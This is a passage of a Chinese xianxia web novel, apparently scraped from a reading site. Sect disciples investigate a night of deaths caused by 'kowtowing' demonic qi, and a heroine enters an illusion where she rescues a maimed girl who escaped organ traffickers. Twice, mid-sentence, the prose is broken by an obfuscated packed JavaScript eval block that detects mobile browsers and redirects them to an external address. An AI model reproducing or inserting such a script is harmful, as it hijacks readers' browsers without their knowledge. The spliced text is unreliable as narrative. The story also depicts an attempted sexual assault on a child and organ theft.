千百种混乱不安的情绪像是得到了这股威压的催化,在苍溟心中快速弥散,连每日修习、背诵的仙法咒诀都忘了如何念。 动静吵醒了同寝另外两个门生,他们懵懵懂懂爬起来,与回头的苍溟对上视线。苍溟脑中蓦地闪过一道白光,刹那间趴到门板前,大声朝外喊道:“不要开门!” 只是他这一声喊得似乎有点晚了。门外,其他毗邻的寝房接二连三传来凄厉喊叫声,此起彼伏,犹如野鬼啼哭。而与之做伴的,则是无数道混杂在一起、乱无章法的咚咚声。 …… 翌日,不住在弟子斋舍的鱼枕荷、夜兰若,以及一夜没睡、顶着两个大黑眼圈的苍溟一起给前夜死去的众多同僚殓尸。 男修与女修的斋舍各居东西一方,中间隔了座天池,却无一例外都死伤惨重。无常关一千二百余人,内门拢共三百余人,一晚上过去,竟只剩下了一百二十三人。 除此以外,斋舍的玉石路上还倒了两具长老的尸体,多半是收到了座下弟子的传音匆忙赶来,结果一并栽跟头了。 尸体冰凉,基本没有发现皮外伤,个个嘴巴大张、目眦欲裂,面色极度惊恐,竟像是被活生生吓死的。 鱼枕荷将脚边一具尸体的左臂搭在肩头,半背他送上杠子,末了转头,看向满脸疲惫的苍溟。他额头上有块暗红的印子,鱼枕荷问道:“你就这么隔着门,和那只鬼磕了一整夜的头吗?” “何止一只‘鬼’啊……”苍溟摁摁额心红印,精疲力竭地叹息。 说来实在不易,不只是苍溟,但凡活下来的门生,基本上个个脑门上都顶着血瘀,眼睛下都顶着乌青。眼下除了零星留下来帮忙的,其他门生基本全趁着大白天阳气旺,回寝房补觉去了。 夜兰若想到些什么,慎重言道:“这件事不太对,九重天从来仙气菁纯,按常理来说绝不该出现鬼,遑论昨晚还是成群结队的鬼,此事未免太过奇怪,另有隐情也未可知。” 苍溟整个人困倦地垂着头,亦是若有所思。 二人谈话间,鱼枕荷还在替死者整理衣襟,闻言道:“师姐说得没错。是我口拙,昨天那的确不是鬼。” 此话一出,夜兰若与苍溟对视一眼,随即齐齐望住鱼枕荷,似乎在确认彼此所想是否一致。 鱼枕荷处理完一具尸体,转而又抬起下一具,笑道:“人走门,灵走墙,人家都愿意用脑袋敲个门了,怎么看也不该是鬼呀。” 闻言,夜兰若困惑看她。未及她开口,苍溟眉尾一挑,亦对鱼枕荷今日怪异的态度万分不解,他环视一圈周遭惨烈景象,道:“虽然我赞同昨日不是恶鬼作祟,但是鱼儿师妹……我总觉得现在不该开玩笑。” 待他言罢,鱼枕荷则是乖顺敛了笑靥,正色道:“看得出来,昨晚活下来的门生几乎都费力与那些东西磕了一晚上的头,不留痕迹的只是少数。但是你们看——”她撩起手上这具尸体凌乱的额发,“横死的这些门生里面,大多数都毫发无损,哪怕额心有红印子也是极浅,估计是磕了几回便放弃了,没有再对峙下去。” 鱼枕荷站直身来,目送两名门生抬走杆上尸身,道:“即便尸体上不存在伤口很似厉鬼所为,但厉鬼并非执念体,暴乱杀人毫无章法,不会有闲心玩什么‘不磕头就送你去死’的规则游戏。再言,无常关并非没有传授过应对厉鬼的功法,我不相信这么多寝房联合起来,再加上两位赶来的长老都能落得这般惨状,似乎他们也想不到自己怎么就忽然死了,连那点找应对方式的时间都没有。” “没反应过来的、不愿意磕头的、来不及磕头的都死了,一直磕头的见状根本不敢停下来,就不要说再多画几张传音符求救了,显然那些东西完全没有打算给他们做其他任何事的机会。” 默然半晌,鱼枕荷继续道:“……甚至说,在混乱的情绪被加剧的情况之下,只有清净六根才能施展的仙法完全被压制,我们仙门,毫无抵抗之力。” 夜兰若紧蹙眉头:“无法用仙法对抗,只要触碰到那东西的禁忌便是死路,一是开门,二是不与它们磕头磕到尾,如此蛮横,当真像是……” “是心魔化煞。”苍溟接话道,“什么‘不磕头就去死’的古怪游戏,仔细想来,倒的确像是某种很奇怪的……执念?可以这么说吗?” 所谓心魔煞气,即心魔淤积而生煞气,煞气聚结而凝实质。心魔凝实化煞,便会依着原主未了的执念,转而去祸害其他人。 举个并不怎么恰当且夸张的例子,有个孩童掉了串糖葫芦,想再买却没钱了,吃到糖葫芦就成了他的执念。 执念生心魔,心魔凝煞气,煞气成实质。由心魔生出来的‘东西’便会像个碎催,在不脱离原主太远的范围内,替那孩童扫荡所有的糖葫芦摊铺……或许不仅仅是糖葫芦摊铺,心魔深了,在大街上无差别扫荡也有可能。 拿不出糖葫芦?那就等死咯,谁叫煞气蛮横呢。 事实上,这还是较为保守的说法。绝大多数情况下,如若心魔已经深重到了化煞凝实的地步,那么心魔宿主即便没有爆血身亡,估计也疯得差不多了。 最重要的是,心魔化煞无法对人造成类似法力冲击的实效攻势。 它们各自以原主的执念为意志,遵循不同的法则,而在面对违背它执念的人之时,则会将属于原主的千百种不安情绪灌入那人窍内,直至那人被悲伤、恐惧、愤怒等等情绪撑爆而亡。 毫无疑问的,心魔化煞绝对是大荒九域最让人头疼的东西,毁人道心,逼人上绝路。一旦被心魔煞气所左右,导致思绪混乱,一切依靠定心才能施展的仙法便全都失了效。 不仅如此,煞气还会附于人之心结不断滋长增生,就如瘟疫、就如附骨之疽。 无论人、仙、妖,还是其他族类,神智都可被心魔攻而占之,哪怕是因煞气而生的魔域一族,最终也难逃反噬而亡。 苍溟不敢回想,若是昨晚自己与往常一样趁夜色出门练戏了,估计今早躺在斋舍的满地尸体中,也会有他的一颗人头。 “而且经过昨日一晚,死了人,煞气怕是又滋长甚多。”鱼枕荷道,“若无办法,今晚可能会死更多人。” 夜兰若问道:“鱼儿,你那里听到声音了吗?” 鱼枕荷摇头,反过去问道:“三昧峰也没有声音?” 三昧峰是兰若师姐与其师尊宋逍的住处,夜兰若也摇头,表示昨晚没有听到任何类似鬼磕头的动静。 接到传音后的头一时间,其余各峰长老也齐齐赶到,见到现场惨状时皆是目瞪口呆。 闫楚眉头皱得极深:“外门无事,只有内门斋舍出了状况。” 无常关内门和外门的斋舍并不在同一处,前者在一方宽敞的山谷,后者则坐落在主峰以南,隔得还算远。再加上无常关原本便有四方石门结界,意思很明确,心魔不来自于外界,不来自于外门,而是切实只存在于内门斋舍,还在夜晚时被激了出来,引得斋舍死伤惨重。 紧接在闫二长老后头的是另一道声音:“哇哦,这里是无常关啊,不知道的还以为是鬼门关呢。” 夜兰若闻声转头,看见一袭竹青衣袍的青年人款款走近:“师父?” 来人眉目俊朗,身形如竹如松,偏偏步伐自在随意,倒不显得教条,颇有种管他山摇风摧我尤逍遥的不迫之感。 宋逍如看好戏般晃过来,一个不留神踩到脚边的尸体,绊了个踉跄,幸得没摔死过去。他冲对面招招手:“兰崽儿!小鱼儿!”他又瞥向二人身旁的苍溟,“哟呵,你也在。” 苍溟皮笑肉不笑地咧了咧嘴:“老不死的,人死了你还挺高兴啊。” 宋逍道:“你也知道人死了,我哭也哭不活,那还不如笑呢。” “不过好奇怪……”苍溟看向众门生运尸的方向,“那里不是自在峰吗?难不成姜掌门要把死去的门生埋在自家门口?” 宋逍挑挑眉,不作回答。 这两人一见面就扯头花,夜兰若与鱼枕荷早便见怪不怪,没打算介入。既然心魔只出现在内门弟子斋舍,夜兰若思忖着开口道:“想来各长老坐镇的峰上还有许多空房间,避免今晚再经历一次屠杀,还是早些将活下来的门生转移去各座峰上护着为妥。” “嗯,今晚内门斋舍不能住人了。”鱼枕荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296659|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想,转而又道,“师姐等我,我要先去一趟执事堂。” 还未及夜兰若回话,鱼枕荷便已经劲步跑远。夜兰若无奈回首,看见的是一长一少互相伸手指着对方,异口同声喊道:“我和他同时掉河里你救谁!” 夜兰若:“……”一大一小,没一个省心的。 …… 执事堂里,鱼枕荷于砖玉墙板前仔细查看刻有外派任务的挂牌玉简。 无常关的绝大部分收入依赖于闫楚卖出去的巨额墨宝和人间各处的产业,其次是荀九卿的天庭俸禄,偶尔他也自发跑到各座山上捡点灵石充公,再其次是修仙世家拨给自家子弟的财力物力,再再其次便是执事堂外派任务。 妖魔肆意、暗潮汹涌,人间各处城池都有背后的仙家门派驻守才得以安宁,当地仙家解决不了的,便会发协查函,流火通传到其他门派,再依照危急程度,决定是立即派人前往援助还是悬上带有期限的任务符牌。 待鱼枕荷差不多浏览完了近十四日的任务玉简,当日的值班门生又费力抱出来两只纵叠在一起,刻绘大鹏金翅鸟、雕工精细的大木箱。将木箱撂到地面后,整个人都像是松了口气。 “这三年……所有了结的未了结的任务……都在这里了……”值班门生大喘着气说道。 鱼枕荷伸手抚抚她的背,给她顺气:“那个……我说的是近三个月的任务,你怎么全部抱来了呀?” “啊?”值班门生抬首,疑惑但真诚道,“这一个月一个月的还要细分吗?我全都堆在一起了。” 这下换鱼枕荷疑惑了。末了,她还是摆头道:“没事、没事,你先回去休息吧,我看完帮你抱回来。” “不用我帮忙吗?”那值班门生道。 鱼枕荷再度摇头,道:“斋舍那里或许更需要帮忙。下次当年的任务最好还是三个月三个月的归类,前一年的倒是可以全部堆到一起了。” 值班门生认真听、认真点头。待她离开后,鱼枕荷在两只大木箱前坐下,先是打开了上面那一只木箱。 所幸每一块玉简上都刻明确的任务发布时间与结束时间,方才那位值班门生也的确是一股脑儿就把所有玉简倒在一块了,所以月份顺序基本没乱,最上面铺的一层就是本月的任务,下面压着的是前一个月的任务,再下面就是前前月。 把近三个月的所有任务玉简翻看一遍,约莫过去了三刻钟时间。 果然,没有动静么…… 重新将玉简摞回木箱,鱼枕荷敛眉沉思良久,方才起身,走出执事堂。 弟子斋舍仍在忙着殓尸,待鱼枕荷回到斋舍的时候,不远处的门生长老忙碌丝毫未减。姜掌门也来了,与闫楚站在一处,不晓得在耳语些什么。 她找到夜兰若,说道:“内门人不多,男女分开的话两个峰头也能住下了,烦请宋长老批些房间出来,再另外找座有长老驻守的峰,将人先安顿好。般若峰太多天庭要务,一时间很难收拾干净,九卿师父公务忙碌,也不好被人声叨扰,许是不能多待人了。” 夜兰若并未反对。煞气能化实一次,便能化实第二次,在尚且不知还有没有煞气残余在内门弟子窍内的情况下,能够将人集中起来,远比分散开更容易控制。 她说道:“今夜我会与师父和姜掌门守在男斋,尽可能打探清楚心魔实质为何,再做后续打算。安置其他门生的峰头必会有长老守护,师妹这两天辛苦了,收殓完尸首便早些回去休息吧。” 鱼枕荷拍拍夜兰若袖上沾染的尘土,弯眉笑道:“还是师姐关心我,但我还有些重要的事要处理,今日怕是很难在亥时前赶回宗,过了宵禁,估计也不打算回般若峰了。” “重要的事?”夜兰若疑惑,却也没再多问,只是温声说道,“好,路上小心。” 鱼枕荷应下。 她刚走不久,后脚荀九卿便也因着传讯赶回宗门,恰与她擦了个肩,只是前者貌似浑然未觉。 弟子斋舍的尸身已经被收拾得差不多了,只剩下零零散散几具还躺在青石路和白瓷砖上,荀九卿帮着敛了干净。 姜书怜与闫楚还站在一旁,荀九卿与他们走了个对脸,倒没有第一时间多生交谈,只是相互微微颔首,然后就走到方才和鱼枕荷道了别的夜兰若身侧。后者先打躬行礼,便听前者言道:“昨日之事我已知晓了,眼下你们是要将门生都转移走么?” 夜兰若未作否认,道:“待我与宋师父将三昧峰拾掇一番,尽量多腾出些房间来。剩下的……”她眸光瞥向东边方向的姜书怜、闫楚二人,“姜掌门的自在峰,闫长老的梵音峰,待我交涉过才好安排。” 荀九卿顺她目光回望一眼,又转回头来,道:“何不搬去般若峰?我那处空殿也多,比起自在峰梵音峰,还距离斋舍更近些,你们收拾起来也方便。” 夜兰若微一怔愣,惑道:“鱼儿说般若峰的殿中多堆放天庭要务,不便住人。” 荀九卿道:“不打紧。既然是要务,我自然都随身放在手边。”他余光几不可察地掠过鱼枕荷离开的方向,眸色微闪,“待他们睡饱,便收拾包袱搬过来罢。” 夜兰若看这一来一去的委实不解,但也没说什么,随他们去了。 10. 救?不救? 说是有要事出宗,然而鱼枕荷并未头一时间离开无常关。辞了夜兰若后,她绕偏僻幽径,去到一片鲜有人迹、背靠弟子斋舍的后山小土坡。 这处地方是她去年无意间发现的,似乎已经被遗忘许久,没有盖什么建筑,只有零散几间杂房,里头堆些积灰的废弃物什。 鱼枕荷倚在杂房破旧的木门前,仰头看向九重天的白日独有的满天星河、北斗连珠。原是一派美景,她却未像往常那般表现出欣喜,只是平静看着、等着。 俄顷,一只彩羽信鸽乘风而来。鱼枕荷伸手,接过它叼着的信笺,缓慢拆开。 信上没有多余的内容,只留四个字—— 【亟待佳音。】 信鸽甫一将信送到便立马飞远,半晌后,鱼枕荷两指轻捻,信纸登时无火自燃,直至烧作一团灰烬,散入空中。 火苗熄灭,映照鱼枕荷半张脸的光亮也重新黯淡下去。她垂首,明眸沉在檐下的阴影中,亦褪去几分颜色。 她回身推开门,伴随木门发出刺耳老破的咯吱声,杂房里头的景象一览无遗。 一男一女两具尸体,皆穿着无常关刺绣迦楼罗门徽的宗门袍,此刻软绵无力地靠倒在一起,脑袋歪着相抵,倒是诡谲地添增了几分旖旎。 这死去的两个人鱼枕荷勉强算单方面认识。男门生叫裴东山,女门生叫徐双年。 此二人中的其中一人出身于现如今极其鼎盛的修真大户裴氏仙府,另一人则是无常关哪位长老的亲孙女,因此这二人风头尤甚,修炼资源几乎无人可比。 鱼枕荷在宗门内听见的流言蜚语不少,说裴东山和徐双年能在内门混个中下游,完全是身后的靠山给硬生生堆出来的,与他们本身天赋能力没有任何干系。久而久之,他二人被赋予了一对相衬的诨名——“裴大少爷”与“徐大小姐”。 鱼枕荷走进杂房,顺手关上门,将自己彻底藏入阳光照不进的地方。 人死事消。她在两名已死门生、或说是被人当作运送心魔煞气的傀儡用了的人跟前坐下,蹙着眉低声说道:“我的命可比仙家薄多了,如此无差别的屠戮,你也不怕我跟着一道死。” 话虽如此说,就那日鱼枕荷在群英会的暗室外听见的谈话来看,万法仙盟针对潜藏仙门内部的“异类”,已然毫无征兆地开始计划赶尽杀绝,不需要信笺那头的人动手威胁她,她也知道自己早已经不剩下多少时间。 “算了……”稍微顿了顿,鱼枕荷又喃喃道,“左右你我两人,都只是在拿我这一条命抛来抛去。” 鱼枕荷从袖袋中取出那块先前存放在玉简里头的、隐约闪烁血红光泽的玄星石,并指挑出一缕微弱气息,打散注入两具尸体的灵窍。末了阖眸,两指点向自己眉心。 下一秒,丝缕血红便开始攀附上鱼枕荷的身体。 待到再睁眼的时候,鱼枕荷目光所及已然是一片人间街巷。 似乎是为了贴近当地风俗,鱼枕荷甫一低头,便看见身上的宗门袍不知何时换成了一件白绿相间的鱼尾曲裾。 白墙黛瓦的街巷杨柳垂岸,夏日的气温比九重天高,却不算磨人。两边小巷隔江相望,鱼枕荷凑到江边,以水面为镜照了照,她绾的猫耳朵被换成了堕马髻,简单且闲适。 此处并非现世,而是鱼枕荷借着死去的两名门生灵窍内残余的煞气,辅以一种名叫“心魔引”的功法构筑的幻境。追根溯源、情景再现,或可探出昨日那些“磕头鬼”模样的心魔煞气因何而生。 既然是一比一还原心魔形成的前置情景,常理之下,自然一草一木皆不可动摇,否则难保哪一环出现错轨,导致幻境与心魔宿主原本经历的场景片段出现偏差,幻境破碎,施术者遭心魔反噬。 故而按理而言,鱼枕荷作为幻境中唯一的变数,必要低调低调再低调,尽一切可能在不动摇幻境事态大发展的前提下弄清楚前因后果。 这类幻境之所以险之又险,便是哪怕仅仅在无意间引发一个细微的变数,伴随之后滞留幻境的时间拖得越久,变数便会越多,反噬便会越深。 正所谓差之毫厘,谬以千里。就像走在迷雾深林,在辨不清方向的情况下,即便只是脚步稍微偏转半寸,再多走上几步,便会与原本的路线彻底背道而驰。 但……多出来的人终究是多出来的,基本可以说,施术者只要选择踏入此种心魔幻境,便已经开始承受幻境排斥所带来的心魔反噬,在这之后做了什么,走到哪里,只能算是在这个基础上加深、或是维持反噬的深浅程度。 简单逛了几家摊铺,瞄了几眼招牌,鱼枕荷便确认了幻境与外界的对应位置。 杭州府、临安县。 忽略过去风餐露宿没有住处,临安勉强算是鱼枕荷的故乡。 鱼枕荷很喜欢江南,与北方极大的温差相比,江南四季如春,天光温和,只是梅雨季节稍微有些难捱,但乌檐下窝窝躲躲,偶尔小感小冒,也不至于像极炎极寒那般将人折腾致死。 心魔幻境中,一切法术内力都不起作用,今早忙于殓尸,鱼枕荷还没来得及吃早饭,这会儿又快到晌午了,眼下幻境没什么动静,然而五脏庙急需添香火,她索性便坐到了一处馄饨铺子。 好巧不巧,鱼枕荷方才落座点完菜,邻桌就来了两个她瞧着眼熟的人。 裴东山、徐双年。 这会儿鱼枕荷想起来了,裴家仙府虽在外地,祖上留下的老宅却似乎是驻扎在临安,她从前也有路过几次。 老宅具体的模样她记不太清了,只记得门楣与其他有威望的世传家族比起来并不算大得出奇,但在江南这片温和低调的地方却也被衬得张扬……或说突兀。 两个人根本没注意旁边的鱼枕荷,一人点了一碗馄饨。等待的时候,裴东山便率先开口道了句没头没尾的话:“想没想好?要不要跟我回去?” 鱼枕荷仿若未闻,自顾自咬了口还在冒热烟的鲜虾肉馄饨,只用几不可察的余光猫了他二人一眼。 没过多久,她又听徐双年说道:“你消息保真吗?那魔头真的藏在仙门?” 裴东山则是道:“都说了我祖爷爷是万法仙盟的人,他亲口听到的!李季川死遁躲进了仙门,只是不知道具体在哪里。但我们无常关是三门五宗的开山老祖,所处洞天灵气鼎盛,最适宜调养,荀宗师手上又有上古神器东皇钟,李季川不觊觎我们的东西才怪!” “世家和仙门可不一样,仙门的存在注定便是要为了九域八荒的太平冲锋陷阵,人死光了大不了再建一个新门派,招点新弟子重头来过。可我们裴家世代传承,血脉相连,香火一旦断了是不可能再续上的啊!” 徐双年道:“人家看你有天资,费心力把你扯进无常关,还指望你在大门大派学点真东西回去给家族长脸,结果你不思进取就罢了,现在还突然说要离开宗门,活活浪费上好的资源,那些老东西指不定要怎么申斥你呢,到时你可别拉我垫背。” 裴东山“嘿”地笑了一声,道:“脸面重要还是活命重要?你觉得危难时候会保我的是家族长老还是姜掌门?那些个亲传弟子也是傻的,承了无常关的道,大难当头连跑都跑不了。” 闻言,徐双年不知是真情还是假意地叹了口气:“还不都是些没爹没娘的?不扎根在无常关也是等着曝尸荒野,多个师父还能多个靠山。” “你说谁?” “鱼枕荷、夜兰若,还有苍溟不都是吗?哪次节日你见他们离开过无常关了?” 裴东山嗤道:“傻丫头、大圣人、二椅子。怪不得这三个脑子一根筋的能可怜巴巴凑在一起。无常关那些长老挑徒弟的眼光还真独树一帜。” 两个人一壁吃一壁唠,大半天下来两碗馄饨都还剩下一半,在邻桌窃听的鱼枕荷却是没人可以搭话,一勺一勺把馄饨全吃完了。见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296660|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人话题东拐西拐,她又点了盘花生和瓜子,顺带让店小二捎了话本来佯装翻看,全然一副对方聊多久她就听多久的架势。 “总之我们这两天先在老宅待着,仙府的事过两天再说。”裴东山道,“等我祖爷爷处理完仙盟的事,会亲自带我们过去。有他在,你还怕被人嚼舌根不成?” “说半天你不还是怂……”徐双年话说到一半忽地停住,偏头往不远处的长街上看去。 那头似乎有些骚动,几个零散路过的行人围聚在一起,悉悉索索地讨论着什么。接着围观路人愈来愈多,彻底遮蔽住了馄饨铺三人原本便看不明朗的视线。 与此同时,一缕旁人不可见的血煞气骤然出现在鱼枕荷眼前,盘旋两圈,而后打着旋儿钻进长街混乱的人群中。 鱼枕荷的视线随着这缕煞气掠过去。 心魔宿主……在那处? “闹什么呢,那里?”徐双年疑惑道。 裴东山则是一副无所谓的模样,耸了耸肩继续吃馄饨。 鱼枕荷赶快把碟子里的最后几粒炸花生米进嘴里,用店小二端来的布巾蘸水擦了手,起身无声与徐双年、裴东山二人擦身而过,走出馄饨铺,全然是个听到声响过去凑热闹的路人。店铺内二人一个吃馄饨,一个专注街对头的动静由头,也都没有多分目光给她。 费了些力气挤进人群,从攒动的人头中隐约瞧见里头被层层包围着的是个衣衫褴褛的小女孩,看着只有九岁十岁大,骨瘦嶙峋。脏乱的额发贴在脸颊上,左腿连着脚扭向一个不自然的角度,似乎是断了。此刻她仆倒在地,面前摆着只锈铁碗,碗里是零星几张钱币和几枚铜板。 至于围观人群之内,紧裹在女孩外一圈的,则是三两个年龄稍长些的孩童,叽叽喳喳听不清在说些什么,只是时不时上脚踹一下那个脏兮兮的女孩,然后发出几声笑。 后面多数人的脸色都不怎么好看,正皱着眉低声交谈些什么。也有个别的大人跟着笑,交头窃语,只不过看女孩的眼神与中央的孩童不太一样,像是匿在人群中等待捕食的饿兽。 直到有个嗓门粗犷响亮的高壮汉子在拨开众人的同时张口说话,再联系起他们看女孩时的神情,鱼枕荷才对他们之间的交流有了大概猜测。 “哪家大婊子生的小婊子,窑子里生意不好做,还打街上来卖啊!”汉子大步迈到伏地的女孩边上,一旁的孩童听不懂汉子的话,便也没想拦着他,就这么排排站开,张大眼睛好奇看他。 “喜欢当街脱衣服是吧?行!你现在就脱,俺老汉舒服了说不准多给你几个子儿呢!”说罢,老汉伸出黝黑丑陋的手就要往女孩身上摸。 女孩死死攥紧衣领,遮眉的额发下一双乌黑明亮的眼瞳直瞪着愈靠愈近的汉子。她努力挪了挪身体,却是碍于断了条腿,又被诸多人围着,根本动不了几分。 “什么人啊……” 人群中,有几道声音低低嘈道。 高壮的汉子一眼瞪过去,那些杂音瞬间销声匿迹。 鱼枕荷好容易扒进了聚众前排,彻底看清中央的混乱景象。她先是怔愣了一瞬,紧接着,脑海中顿时出现两个声音打架—— 救?不救?救?不救…… 救?这只是个幻境,里面的人都是虚构的、假的。何况鱼枕荷在心魔幻境中用不了一丝一毫法力,幻境里的伤却是会反噬到现世的肉身。若是把汉子惹恼了,说不准连自己的命也得搭进去。 不救?只看血煞气的引子,面前的女孩明显是无常关出现那批“磕头鬼”心魔化煞的关键由头,要理清一切来龙去脉,直接问她自然是最稳妥的。 再言,不少人看话本子都要为戏中人打抱不平,她如今更是切切实实站在现场,哪怕知晓周遭都是假象,也不可能做到完全无动于衷。 丝丝缕缕的血煞气盘踞在女孩发顶,汉子的手已然拽住了女孩的衣领。 11. 女孩 千钧一发之际,一道白绿相间的身影飞快从人群中掠出,抱起中央位置的女孩转头就跑,又是引得一众人频繁侧目。 “吔?!”翻飞的衣袂掀起微风,拂过汉子脸颊。被晾在原地的汉子满脸不解,似乎还未回过神来,只懵然道,“这是有人养的啊?” 变故出现得毫无征兆。女孩没了,只留下汉子孤零零在人群中间,莫名变成了全场的焦点。这令他没来由地生出几分烦躁,随便冲着个方向骂了几句粗话,旋即也迈步挥出大手,拨开人群悻悻然离开。 另一边,习惯了轻捷宗门袍的鱼枕荷起初险些被身上束缚住脚程的鱼尾曲裾绊了个跟头,踉跄着站稳之后还一刻未停地抱着女孩跑,直至跑到一处行人稀少,且两头都有路可退的偏巷口,才将女孩放下,自己也倚在青石墙前坐下,急促喘着气憩息。 女孩此刻的头脑尚且不清明,大热天的又被闷在怀里跑了一路,这会儿方才像夺回身体控制权般扭头望向身旁的鱼枕荷,嘴唇翕动刚要说些什么,却在看见眼前人歪头吐出一口鲜血后,瞳孔骤缩。 “你……没事吧?”女孩压得很轻的声音响起。她也担心招来旁人侧目。 “嗯。”鱼枕荷轻轻应了声。 在女孩看不见的地方,丝缕的血煞气已然在鱼枕荷选择抱起女孩跑的那一刹那,便齐齐钻入她灵窍内,让她浑身一阵刺痛,心口也像淤堵住一口难以排遣的浊气。 这是干预幻境原本发展轨迹所带来的反噬。 鱼枕荷带人跑,结果遭了心魔反噬,也便是说,当时外界的女孩被汉子拉拽,其实到最后也不会有围观的人下场阻拦他。 若是没有聚众的群众,说不准会有人主动去拦那个汉子。只是围观的人多了,想帮忙的人也不敢了。鱼枕荷想着,自己敢冒着惹恼汉子被打一顿的下场把人抱出来,或许也只是因为她心底清楚自己到底是个不属于幻境的局外人,所以比较不容易被其他人影响到。哪怕赌错了,这片幻境是她亲手造出的,多受点反噬也可以做到回溯时间,趁被打死之前及时纠错就好了。 鱼枕荷左掏掏右翻翻,没找到能擦血的物什。她抬起手,正犹豫着要不要直接用雪白的衣袖擦,一块折叠整洁的方帕便递到了她眼前。 “用这个。”女孩说道。 帕子在她手上停留了良久,她再度侧头,见鱼枕荷模样有些困惑地看着自己,于是低眸扫了眼自己凌乱不堪的衣物。与身上的脏乱相对比,显得她手中这块帕子干净得离奇。顿了顿,她补充说道:“有家摊铺送的,新的。” 鱼枕荷略显诧异,觉得自己好像闹出了些误会。她没有拒绝对方递过来的帕子,接过来擦抹掉了唇边的血渍。 心魔的反噬丝毫没有消退,相反的,如今她要是想在这条与现实错轨的路上愈走愈远,只会让反噬愈来愈深,直到殒命于幻境。 不能在这片出现偏差的场景待太久了……鱼枕荷心中暗道。 她与女孩视线交汇,半晌启唇言道:“刚才是怎么回事?那个男人为什么要说你当街脱衣服?” 女孩面色平静:“真的。我是脱了。”须臾片刻,她继续说道,“但我没有要他做那种事。而且,他看着就给不了我什么好处。” 真的……?鱼枕荷更加疑惑了,她还以为方才是那个汉子胡诌诌的。她道:“所以是为什么啊?” 女孩道:“你要看吗?” 未等鱼枕荷回答,女孩又自顾自说道:“要看的话你得先做好心理准备,有点吓人。” “啊?哦……”鱼枕荷不确定该作何反应,只得点两下头。 女孩又开始解衣带,鱼枕荷往周围看去一圈,确认无人经过。她甫一转过头,当即便被目光所见之事怔得呆愣在原地。 只眨眼的功夫,女孩便已将朝里那侧的衣物褪到小腹处,散乱垂在地面。 不同颜色的布条缠裹着女孩的身体,兴许是从不同衣物上撕拽下来的。而伴随女孩一点点解开身上的布条,鱼枕荷看见她身体内侧似乎是其中一处肾脏的位置,皮肉外翻、溃烂泛褐,俨然是个狰狞的破口。 “要是我身体无恙,倒也无所谓他们对我动手动脚。”女孩对鱼枕荷的反应视若无睹,淡若把染血的布条翻了面,重新缠好,然后拉上衣服,“但我现在的身体坏得很。我刚才也说了,我需要钱,很多钱。在这之前我不能把命搭进去。” 鱼枕荷道:“你的伤……”她几乎是下意识地想说这么囫囵包扎只会让皮肤烂得更快,可眼下她手头也没有草药净布。再者,她哪怕在心魔幻境里顶着反噬替人包扎好了,等她离开幻境一切湮灭,仍旧是无用功。 这里只是虚筑的幻境,任谁也动摇不了现世的因果。 “救不了了。”女孩平静说道,“我被挖走了一颗肾脏,又没有及时清理干净,没钱找仙家的医馆,最多也就能再活个十几日了。” “是谁?” “很多人。”女孩道,“估计是某个贩卖脏器的地下组织。” “也就是说,除了你以外,他们还绑了很多其他人?” 女孩道:“被和我关在一块的有三个,一个看着和我差不多年纪,还有两个比我小很多,可能就六七岁大吧。” “看清他们的据点了吗?” “这种地下组织,据点几乎都是随时挪动的。”女孩道。 鱼枕荷道:“我是想问,你们逃出来的那处长什么模样?有没有特殊的气味?” 女孩不明白鱼枕荷为什么偏要问这个,她刚才都说这种贩运脏器的地下党鲜少有固定据点了。 片刻时间过去,她还是回答道:“只有我一个人活着跑出来了。那地方很黑,什么也看不清,适应了也只能依稀看见个轮廓。气味……很闷,很难闻,有股霉味和铜臭味。” 鱼枕荷继续追问道:“那之后具体发生了什么,你是怎么跑出来的?其他人呢?” 女孩一时面露困惑,不久后低垂下头,认真回忆着复述道:“我是最先被挖走肾脏的,回来后两个年纪小的撕了衣服给我包扎,没过多久他们也被人拎出去,扔回来之后都没动两下就死了。和我差不多大的那个还能活会儿,但看模样也不太好了。她用手边摸到的不知道什么东西割了绳子,顺便割了我的,然后爬到门边藏着,在有人捆着一个新小孩推门进来的时候把人敲晕了,我是那会儿跟她一块儿跑出来的,顺便带了那个小孩。” “我们被关押的地方应该不算深,跑出来之后是条很窄的廊道,巡逻的人发现我们就追过来了。那小孩着急,随便进了廊道里的一个房间,我和另外那人就换了扇门逃。刚好一路往上有个小天井,不算高,巡逻的人钻不过去,我们倒勉强能挤进去,人和东西交替着垫垫就爬出来了,一出来就在深山老林里。” “小孩估计进死路了,没跑出来,我们顾着逃命也不可能原地等他。我后来碰到的估计是狼吧,感觉不像虎,和我一起逃出来的那个人被吃了,我好巧踩到崖坡,滚下去把腿摔断了。我没停,用手撑着爬也好,跳也好,反正我就想离那里远远的。” 鱼枕荷沉默思忖些许时候,又抬首问道:“你现在逃出来了,不去报官吗?” 女孩道:“那群拿着油水不干实事的硕鼠?” 鱼枕荷微怔,随即道:“怎么一竿子打死所有人呢,总会有好官的。” 闻言,女孩奇怪地睨她一眼,启唇言道:“你是生活在一个多美好的世界里?” “……”鱼枕荷怏怏扭回头去,低声嘟囔道,“我再怎么样也算是把你从人堆里拉出来了,问几句话你还刺我。” 女孩道:“你把我要饭的碗落在那里了,我大半天白干。” 